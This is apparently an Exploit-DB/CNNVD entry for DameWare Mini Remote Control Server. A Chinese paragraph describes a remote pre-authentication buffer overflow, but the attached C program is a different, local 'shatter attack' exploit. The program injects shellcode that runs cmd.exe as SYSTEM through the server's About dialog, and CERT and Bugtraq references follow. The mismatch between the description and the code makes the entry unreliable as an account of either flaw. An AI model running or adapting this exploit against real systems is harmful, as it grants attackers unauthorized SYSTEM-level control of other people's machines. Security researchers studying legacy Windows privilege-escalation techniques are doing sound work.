https://www.exploit-db.com/exploits/79
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200402-080

DameWareMini是一款基于Windows的远程控制服务程序。DameWareMini在预验证包处理上存在一个缓冲区溢出，远程攻击者可以利用这个漏洞可能以服务进程权限在系统上执行任意指令。默认情况下DameWareMini监听TCP6129端口，通过构建伪造的通信包作为客户端，可触发缓冲区溢出。当于DWRCS进行通信时，客户端会发送所有预验证信息如本地用户名、远程用户名、本地NetBIOS名、公司名、注册名、注册键值、日期和时间、小写NetBIOS名、客户端IP地址、远程客户端版本，在这些初始化包发送后，客户端再发送请求验证类型(如NTLMSSP)，如果用户名不正确，服务器会进行错误应答并把这些变量会通过strcpy函数进行处理，由于没有进行正确的边界缓冲区检查，提交超多的预验证信息可触发缓冲区溢出，精心构建提交数据可能以服务进程权限在系统上执行任意指令。

/*

DameWare Mini Remote Control Server Local SYSTEM Exploit
Vulnerable Versions Prior to 3.71.0.0 by [email protected] 
	
This code is based on shards.cpp by xenophile

*/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#pragma warning(disable: 4305)
#pragma warning(disable: 4309)
void MakeShellCode (char *buffer)
{
HMODULE hCRT;
void * lpSystem;
int count=0;

while (count < 36)
{
buffer [count] =0x90;
count ++;
}

buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55;
buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33;
buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57;
buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04;
buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8;
buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45;
buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6;
buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64;
buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB;
buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45;
buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6;
buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78;
buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE;
buffer[76]=0x65;

hCRT = LoadLibrary("msvcrt.dll");
lpSystem = GetProcAddress( hCRT, "system" );
buffer[77]=0xB8;
buffer[78]=((char *)&lpSystem) [0];
buffer[79]=((char *)&lpSystem) [1];
buffer[80]=((char *)&lpSystem) [2];
buffer[81]=((char *)&lpSystem) [3];
buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45;
buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF;
buffer [88]=0x55; buffer[89]=0xF4;
count = 90;
while (count < 291)
{
buffer [count] =0x90;
count ++;
}
buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D;
buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1;
buffer [297] =0x5D; buffer[298]=0x01; buffer[299]=0x00;
buffer[300]=0x00;
return;
}
void ErrorNotify(DWORD err, char *title)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPTSTR) &lpMsgBuf,
0,
NULL
) ;

printf("%sn",lpMsgBuf);

LocalFree( lpMsgBuf );
};
#define SHELLCODE_SIZE (1024 * 256)
#define SHELLCODE_OFFSET (SHELLCODE_SIZE -400)
int main(int argc, char* argv[])
{
HWND hWnd;
HWND hWndChild;
char sc[SHELLCODE_SIZE];
char szWindowName[] = "About DameWare Mini Remote Control Server";
LONG lExecAddress;
sc[0] = 'x'; sc[1] = 'e'; sc[2] = 'n'; sc[3] = '0';
memset( &sc[4], 0x90, SHELLCODE_SIZE -4);
MakeShellCode( &sc[SHELLCODE_OFFSET] );
printf( "[email protected]" );
printf("--------------------------------------------------------------n");
printf("Exploits shatter attack in DameWare Mini Remote Control 
Servern");
printf("This is based on shards.cpp written by xenophile.n") ;
printf("--------------------------------------------------------------n");
printf(
"STEP 1: Finding our window!n"
) ;



hWnd = FindWindow( NULL, szWindowName );
if( hWnd == NULL)
{

	printf("Couldn't find the dameware about dialogue. Open it and re-run 
thisn");
return 0;
}

hWndChild = FindWindowEx(hWnd, NULL, "Edit", NULL);

if( hWndChild == NULL)
{

printf("tCouldn't find child edit control windown");

return 0;
}

SendMessage( hWndChild, EM_SETREADONLY, 0, 0 );

SendMessage( hWndChild, EM_SETLIMITTEXT, SHELLCODE_SIZE, 0L );

if ( ! SendMessage( hWndChild, WM_SETTEXT, 0, (LPARAM)sc ) ) {
ErrorNotify ( GetLastError (), "error");
}
printf(
"nnSTEP 2: Enter shell code address. "
"This can be found using a debugger."
) ;
printf( "nOn my XP SP1 machine 0x160000 worked.n" );

printf( "nnEnter execution address: " );
scanf( "%x", &lExecAddress );

if ( ! SendMessage( hWndChild, EM_SETWORDBREAKPROC, 0L, 
(LPARAM)lExecAddress ) ) {
ErrorNotify( GetLastError(), "error" );
}

SendMessage( hWndChild, WM_LBUTTONDBLCLK, MK_LBUTTON, 
(LPARAM)0x000a000a );

return 0;
}

// milw0rm.com [2003-08-13]

来源:US-CERTVulnerabilityNote:VU#909678
名称:VU#909678
链接:http://www.kb.cert.org/vuls/id/909678
来源:XF
名称:dameware-spoof-packet-bo(14001)
链接:http://xforce.iss.net/xforce/xfdb/14001
来源:BID
名称:9213
链接:http://www.securityfocus.com/bid/9213
来源:sh0dan.org
链接:http://sh0dan.org/files/dwmrcs372.txt
来源:BUGTRAQ
名称:20031214DameWareMiniRemoteControlServer<=3.72BufferOverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=107152094119279&w;=2
来源:BUGTRAQ
名称:20040110DameWareMiniRemoteControl链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=107392603615840&w;=2
来源:BUGTRAQ
名称:20031219[Exploit]:DameWareMiniRemoteControlServerOverflowExploit
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=107187110617266&w;=2